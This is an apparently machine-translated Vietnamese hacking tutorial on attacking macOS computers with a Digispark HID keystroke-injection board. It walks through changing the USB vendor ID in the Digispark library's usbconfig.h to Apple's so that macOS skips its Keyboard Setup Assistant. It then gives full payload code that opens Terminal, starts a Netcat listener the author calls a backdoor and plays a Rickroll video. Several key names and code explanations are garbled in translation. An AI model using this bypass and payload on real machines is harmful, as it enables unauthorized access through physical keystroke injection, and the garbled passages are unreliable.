Cả USB Rubber Ducky và bo mạch Digispark đều gặp phải cùng một vấn đề khi tấn công các máy tính macOS: cửa sổ bật lên cấu hình bàn phím cố gắng xác định bất kỳ bàn phím USB nào không phải của Apple. Mặc dù đó là một trở ngại khó chịu, giải pháp là một sửa đổi đơn giản cho phép các máy tính Mac được nhắm mục tiêu, điều này ảnh hưởng đến khả năng nhắm mục tiêu các thiết bị Windows và Linux.

Trình hồ sơ của Apple, được gọi là Trợ lý thiết lập bàn phím, là cửa sổ mở ra bất cứ khi nào bàn phím không phải của Apple kết nối với MacBook, Mac Pro, iMac, v.v., cố gắng xác định bàn phím mới được gắn. Tính năng bảo mật bí mật này mà tất cả các thiết bị macOS ẩn trong nền sẽ bảo vệ chống lại các trọng tải độc hại từ các thiết bị như USB Rubber Ducky hoặc Digispark 50 đô la . Nhưng nó dễ dàng được bỏ qua bằng cách làm cho Mac nghĩ rằng thiết bị tấn công của bạn là một thiết bị của Apple.

Cuộc tấn công MacOS so với HID

Trong trận chiến giữa các cuộc tấn công Mac và HID (thiết bị giao diện người), chúng tôi có macOS ở một bên với trình cấu hình Trợ lý Cài đặt Bàn phím; Digispark và USB Rubber Ducky ở phía bên kia với tải trọng macOS cho Rickroll một người dùng.

Nếu chúng ta chèn một trong hai công cụ HID vào máy tính macOS, chúng ta sẽ được chào đón bởi kẻ thù của chúng ta, trình lược tả bàn phím, trước khi tải trọng có cơ hội thực thi.

hack macos

Bạn có thể nghĩ về Trợ lý thiết lập bàn phím như Clippy . Nó được cho là để giúp đỡ nhưng thực sự làm cho mọi thứ khó khăn hơn. Cố gắng điều hướng công cụ cũng rất tệ vì nó không luôn cấu hình bàn phím chính xác. Chẳng hạn, đôi khi nó sẽ khiến bạn nhấn lại các phím để cấu hình bàn phím, không hoạt động với thiết bị không thể phản ứng với phản hồi. Thay vào đó, tốt hơn là đi xung quanh nó hơn là đối phó với nó.

Banish Profiler bàn phím

Để thoát khỏi trình cấu hình Trợ lý Cài đặt Bàn phím, chúng tôi phải xác định nội dung khiếu nại. Sâu trong các tệp cấu hình của thư viện Digispark, nguồn gốc của vấn đề của chúng tôi đến từ tùy chọn cấu hình được hiển thị bên dưới.

/* -------------------------- Device Description --------------------------- */

#define USB_CFG_VENDOR_ID 0xc0, 0x16
/* USB vendor ID for the device, low byte first. If you have registered your
 * own Vendor ID, define it here. Otherwise you may use one of obdev's free
 * shared VID/PID pairs. Be sure to read USB-IDs-for-free.txt for rules!
 * *** IMPORTANT NOTE ***
 * This template uses obdev's shared VID/PID pair for Vendor Class devices
 * with libusb: 0x16c0/0x5dc.  Use this VID/PID pair ONLY if you understand
 * the implications!
 */

Vấn đề ở đây là ID nhà cung cấp của “0xc0, 0x16” không phải là Apple. Do đó, Apple không tin tưởng điều đó và hỗ trợ Trình cài đặt bàn phím thành hành động để cố gắng xác định kẻ xâm nhập. Để khắc phục sự cố, chúng ta có thể đi vào các tùy chọn cấu hình cho thư viện Digispark và thay đổi ID nhà cung cấp thành giá trị của thiết bị Apple. Nó vẫn sẽ hoạt động tốt với các thiết bị không phải của Apple, và Trợ lý thiết lập bàn phím sẽ không bao giờ được gọi là hành động vì macOS sẽ cho rằng nó được công nhận là một sản phẩm của Apple.

Những gì bạn cần

Để làm theo, hãy lấy một bảng Digispark. Chúng có thể được mua trực tuyến với giá từ 2 đến 4 đô la mỗi cái trên Amazon hoặc Walmart. Giá của AliExpress thậm chí còn thấp hơn. Theo văn bản này, Digistump, cửa hàng chính thức của Digispark, đã được bán hết và sẽ không có sẵn sàng cho đến đầu năm 2020.

  • Amazon: Gói Digispark 3 mảnh với giá 9,19 USD
  • Amazon: Gói Digispark 5 mảnh với giá 10,99 đô la
  • Amazon: Gói Digispark 5 mảnh với giá 11,99 USD
  • Walmart: Gói Digispark 3 mảnh với giá $ 9,91
  • Walmart: Gói Digispark 3 mảnh với giá $ 10,65
  • Walmart: Gói Digispark 3 mảnh với giá $ 9,09
  • Walmart: Gói Digispark 3 mảnh với giá $ 13,99

Kết nối với Digispark có thể khác một chút tùy thuộc vào hệ điều hành bạn đang sử dụng. Để biết thêm chi tiết và xử lý sự cố, bạn có thể xem tài liệu DigiSpark Wiki .

Bước 1 Cài đặt & Cấu hình Arduino IDE cho Digispark

Giả sử bạn đã cài đặt Arduino IDE , bước tiếp theo là thêm hỗ trợ cho bảng Digispark. Tôi đã trình bày chi tiết về quy trình này trong hướng dẫn trước đây về việc chạy các tập lệnh USB Rubber Ducky trên Digispark , vì vậy hãy hoàn thành Bước 1 ở đó trước khi chuyển sang Bước 2 bên dưới.

Bước 2 Tạo Tải trọng & Tùy chỉnh nó cho MacOS

Để bắt đầu, chúng tôi sẽ làm việc với tải trọng ” RickRoll_Update ” mặc định được cung cấp trên GitHub từ CedArtic. Trong vài hành động đầu tiên của tải trọng, nó được thiết kế để sử dụng các phím KEY_R và MOD_GUI_LEFT để khởi chạy một cửa sổ tìm kiếm, nhưng điều này sẽ không hoạt động trên macOS vì các phím nóng khác nhau.

// This DigiSpark script opens up Rick Astley's - Never Gonna Give You Up and also a
// fake Windows update screen and then maximizes it using F11
#include "DigiKeyboard.h"
void setup() {
  //empty
}
void loop() {
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(600);
  DigiKeyboard.print("https://youtu.be/dQw4w9WgXcQ?t=43s");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(3000);
  DigiKeyboard.print("http://fakeupdate.net/win10u/index.html");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(KEY_F11);
  for(;;){ /*empty*/ }
}

Để thay đổi điều này, chúng tôi sẽ cần sửa đổi nó để sử dụng các phím nóng của Mac – thanh Space và phím Command – tương ứng là KEY DELACE và MOD_GUI_LEFT. Chúng ta cũng thay đổi tải trọng để Terminal mở, cửa sau Netcat kích hoạt, Spotlight Search sau đó mở lại và Rickroll xảy ra. Mở một cửa hậu Netcat trên đầu Rickrolling cho phép chúng tôi gửi rác qua mạng.

#include "DigiKeyboard.h"
void setup() {
  //empty
}
void loop() {
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT);
  DigiKeyboard.delay(600);
  DigiKeyboard.print("terminal");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.print("nc -l 9999");
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(600);
  DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT);
  DigiKeyboard.delay(600);
  DigiKeyboard.print("https://youtu.be/dQw4w9WgXcQ?t=43s");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);

  for(;;){ /*empty*/ }
}

Hoàn hảo. “.EndKeyStroke (KEY DELACE, MOD_GUI_LEFT);” trên dòng 8 gọi thanh Tìm kiếm Spotlight. “.Print (” thiết bị đầu cuối “) của dòng 10;” tìm kiếm Terminal, trong khi “.sendKeyStroke (KEY_ENTER);” mở nó ra “13print” (“nc -l 9999″); ” gõ vào lệnh Netcat và Enter được nhấn lại để nó cho phép chúng tôi làm bất cứ điều gì chúng tôi muốn trên Mac. Sau đó, Spotlight Search sẽ mở lại và video YouTube được tìm kiếm.

Bạn có thể dừng ngay tại đây, vì video sẽ phát trực tiếp trong Tìm kiếm Spotlight, nhưng nhấn Enter sẽ mở nó trong trình duyệt để xem lớn hơn. Thanh lịch.

Mẹo chuyên nghiệp: Tìm tên chính cho Digispark

Nếu bạn cần Digispark để nhấn các phím khác nhau trên bàn phím, hãy sử dụng các lệnh sau đây để mở tệp “Digikeyboard.h”, liệt kê tất cả các phím bạn có thể sử dụng, như KEY_ENTER, KEY_ARlaw_LEFT, MOD_CONTROL_LEFT, v.v.

Trên macOS:

~$ nano ~/Library/Arduino15/packages/digistump/hardware/avr/1.6.7/libraries/DigisparkKeyboard/Digikeyboard.h

Trên Linux:

~$ nano ~/.arduino15/packages/digistump/hardware/avr/1.6.7/libraries/DigisparkKeyboard/Digikeyboard.h

Bước 3 Thay đổi tập tin usbconfig.h

Bây giờ, chúng ta cần sửa đổi tệp cấu hình trước khi chúng ta đẩy mã. Mở một cửa sổ đầu cuối và sử dụng Nano để sửa đổi tệp sau.

Trên macOS:

~$ nano ~/Library/Arduino15/packages/digistump/hardware/avr/1.6.7/libraries/DigisparkKeyboard/usbconfig.h

Trên Linux:

~$ nano ~/.arduino15/packages/digistump/hardware/avr/1.6.7/libraries/DigisparkKeyboard/usbconfig.h

Điều hướng xuống phần của tệp xác định ID nhà cung cấp USB và tìm dòng sau.

#define USB_CFG_VENDOR_ID 0xc0, 0x16

Bây giờ thay đổi các giá trị để khớp với ví dụ bên dưới, đó là ID cho thiết bị Apple và lưu tệp.

#define USB_CFG_VENDOR_ID 0xac, 0x05

Phần này sẽ trông như thế này:

/* -------------------------- Device Description --------------------------- */

#define USB_CFG_VENDOR_ID 0xac, 0x05
/* USB vendor ID for the device, low byte first. If you have registered your
 * own Vendor ID, define it here. Otherwise you may use one of obdev's free
 * shared VID/PID pairs. Be sure to read USB-IDs-for-free.txt for rules!
 * *** IMPORTANT NOTE ***
 * This template uses obdev's shared VID/PID pair for Vendor Class devices
 * with libusb: 0x16c0/0x5dc.  Use this VID/PID pair ONLY if you understand
 * the implications!

Khi điều này được thực hiện, bất kỳ mã nào chúng tôi đẩy tới Digispark sẽ yêu cầu nó tự nhận mình là thiết bị của Apple.

Bước 4 Đẩy tải trọng và kiểm tra nó

Cuối cùng, chúng ta sẽ cần đẩy mã đến Digispark để đảm bảo rằng nó hoạt động. Để làm như vậy, nhấp vào mũi tên quay phải ở phía trên bên trái của cửa sổ tập lệnh trong Arduino IDE và mã sẽ biên dịch. Trong cửa sổ, ở phía dưới, Arduino sẽ hướng dẫn bạn cắm vào Digispark trong vòng 60 giây.

Nếu bạn thấy đầu ra như bên dưới, bạn đã hoàn thành nó! Nếu không, hãy thử ngắt kết nối và thử tải lên lại. Bạn cũng có thể cần điều chỉnh Digispark trong ổ cắm USB một chút để liên lạc, tùy thuộc vào loại cổng mà máy tính của bạn sử dụng.

hack macos

Để xem các hiệu ứng đầy đủ của tải trọng, bạn có thể xem video trên. Chúng tôi đã dẫn một tệp nhị phân qua mạng, điều này gây ra nhiều tiếng ồn và văn bản đáng báo động để cuộn trên màn hình, nhưng bạn có thể làm bất cứ điều gì bạn muốn.

Thật dễ dàng để thực hiện tải trọng MacOS cho Digispark

Mặc dù macOS dường như có lợi thế bảo mật so với các máy tính dễ bị tấn công HID, nhưng lợi thế này không đáng kể. Sửa đổi đơn giản của chúng tôi cho phép mọi máy tính được nhắm mục tiêu và macOS cũng dễ bị tổn thương một khi nó nghĩ rằng nó giao tiếp với một thiết bị Apple đồng nghiệp.

Đảm bảo đóng máy tính xách tay của bạn khi bạn để nó không giám sát, mặc dù vậy, tôi sẽ không lo lắng về việc vô tình cắm vào Digispark. Không giống như USB Rubber Ducky, được thiết kế để pha trộn như một ổ flash USB, Digispark có vẻ đáng ngờ và đáng báo động, khiến nó thường là một công cụ tốt hơn để phát triển tải trọng hơn là thực sự cung cấp chúng.

Để lại một bình luận